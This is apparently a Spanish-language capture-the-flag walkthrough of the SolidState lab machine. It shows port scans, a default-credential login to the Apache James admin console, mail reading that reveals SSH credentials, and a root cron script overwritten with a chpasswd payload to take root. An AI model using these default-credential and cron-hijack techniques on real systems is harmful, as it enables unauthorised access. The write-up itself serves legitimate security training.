Esta ha sido una de mis maquinas favoritas. Aprendí mucho y estuvo muy interesante.

Como siempre empezamos con un Nmap rápido

root@Kali2:~/Downloads# nmap -sC -sV 10.10.10.51
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-18 16:12 CEST
Nmap scan report for 10.10.10.51
Host is up (0.021s latency).
Not shown: 995 closed ports
PORT	STATE SERVICE VERSION
22/tcp  open  ssh 	OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp  open  smtp	JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.8 [10.10.14.8]),
80/tcp  open  http	Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp open  pop3	JAMES pop3d 2.3.2
119/tcp open  nntp	JAMES nntpd (posting ok)
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Y al mismo tiempo un nmap completo, que en este caso me mostró un puerto más

PORT 	STATE SERVICE 	VERSION
4555/tcp open  james-admin JAMES Remote Admin 2.3.2

Con searchsploit vemos una opción:

rooot@Kali2:~/Downloads# searchsploit james 2.3.2
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                                                                                        	|  Path                                                                                                                                                                   	| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Apache James Server 2.3.2 - Remote Command Execution                                                                                                                  	| exploits/linux/remote/35513.py

Tenemos que telnetear or NC al puerto que descubrimos despues:

root@kali ~ $ nc 10.10.10.51 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
//desde aqui cambiamos el password de mindy

Luego entramos a su mail

root@Kali2:~/Downloads# telnet 10.10.10.51 110
Trying 10.10.10.51...
Connected to 10.10.10.51.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
USR mindy
-ERR
USER mindy
+OK
PASS 123
+OK Welcome mindy
LIST
+OK 2 1945
1 1109
2 836
.
RETR 2


Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
      	by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
      	for <mindy@localhost>;
      	Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

Desde aqui descubrimos su SSH key y podemos ver el user.txt.
Despues usamos el exploit y entramos a su ssh otra vez. Esto nos va a dar un NC con más opciones.

Si corremos Lineum veremos que hay un archivo opt/tmp.py que es de root pero podemos modificarlo. Como olía a que se ejecutaba automáticamente lo checamos con cronmintor.sh. Y vemos que efectivamente es asi. Desde aqui lo que hice fue cambiar el contenido de tmp.py

cat /first/file/same_name > /second/file/same_name

a este:

#!/usr/bin/env python
import os
import sys
try:
     os.system('echo root:password | /usr/sbin/chpasswd && echo "done" > /dev/shm/done.txt')
except:
     sys.exit()

ese archivo cambia el password de root y crea un archivo que se llama done.txt

Despues de eso puedes entrar a ssh [email protected] con password root y la maquina es tuya 🙂

root@Kali2:~/Downloads# ssh [email protected]
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686
root@solidstate:~# cat root.txt
b4c9723a28899b1c45db2...
root@solidstate:~#

🙂